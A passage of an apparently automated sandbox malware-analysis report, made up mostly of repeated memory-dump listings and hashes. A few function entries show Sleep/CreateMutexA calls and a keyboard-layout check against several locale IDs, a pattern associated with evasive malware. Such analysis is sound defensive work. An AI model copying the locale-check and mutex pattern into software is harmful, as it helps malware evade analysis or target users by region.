Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b258b8afbb7c0b691511dffddc8da64e38ee2bdecefdc0b4573b2116c52f0b50
Instruction ID: d342ec356d3ad7f5145fce0adacdd77036f914eaf5814081af3970b7be7110a2
Opcode Fuzzy Hash: b258b8afbb7c0b691511dffddc8da64e38ee2bdecefdc0b4573b2116c52f0b50
Instruction Fuzzy Hash: F0E08630101208BECF657B18C80CA893F5DEB92651F405814F94646121CB66DA91C640

Function 01005C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 0100612B
00000419, xrefs: 01006098
00000422, xrefs: 010060C9
Keyboard Layout\Preload, xrefs: 01006054
00000423, xrefs: 010060FA

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 9dbeadf9466da8579e955d8876b883b2216de7f8e40409a549493a1ad26deb47
Instruction ID: 3e1e679fc4b355298ffe568f16aa59a944ab9815d859ddcd302ede2dbdd538a8
Opcode Fuzzy Hash: 9dbeadf9466da8579e955d8876b883b2216de7f8e40409a549493a1ad26deb47
Instruction Fuzzy Hash: 52F11570A0024DAFEB25DF54CC84BDEBBB9EF45304F5042A9E948A72C1DB759A84CF90

Function 01009BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e2cee195b31e76974e341a9ff9149907c9f1466e2c772c8ac96780eb1a2251b9
Instruction ID: c43d75b7145a0a8e0944adcaebce44da9457a9110e933e035d109ca0674eedc3
Opcode Fuzzy Hash: e2cee195b31e76974e341a9ff9149907c9f1466e2c772c8ac96780eb1a2251b9
Instruction Fuzzy Hash: EC314A31B00205DBFB19EB6CDD89BADBBA2AB85334F248618D1989B3D5C7758580C751

Function 01009F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d02deca708729abc97131af22b92be244aea7603fb1455c325c344381172cf84
Instruction ID: 1fa693a13055a66f55f665bf45fae5a285cd2f1320061cfa4a2cac3bd1078eb9
Opcode Fuzzy Hash: d02deca708729abc97131af22b92be244aea7603fb1455c325c344381172cf84
Instruction Fuzzy Hash: D1312A31700205DBFB19EB7CD8887BDBBA2EB85320F24461DE1A89B3D5C77A8580C755

Function 0100A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c54cbcbd6e92326cd728fb496b907508bc0ab5ebb86ff19b534d90e1a0ca7468
Instruction ID: 7fa19abf965793666cb1f10a2cddabd9bc564a6207e1ff43a48b1a9eb3be99d7
Opcode Fuzzy Hash: c54cbcbd6e92326cd728fb496b907508bc0ab5ebb86ff19b534d90e1a0ca7468
Instruction Fuzzy Hash: 93312831700304DBFB19DB78CC88BADBBA2EB85320F244718E1A89B3D4C77A9580C765

Function 0100A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
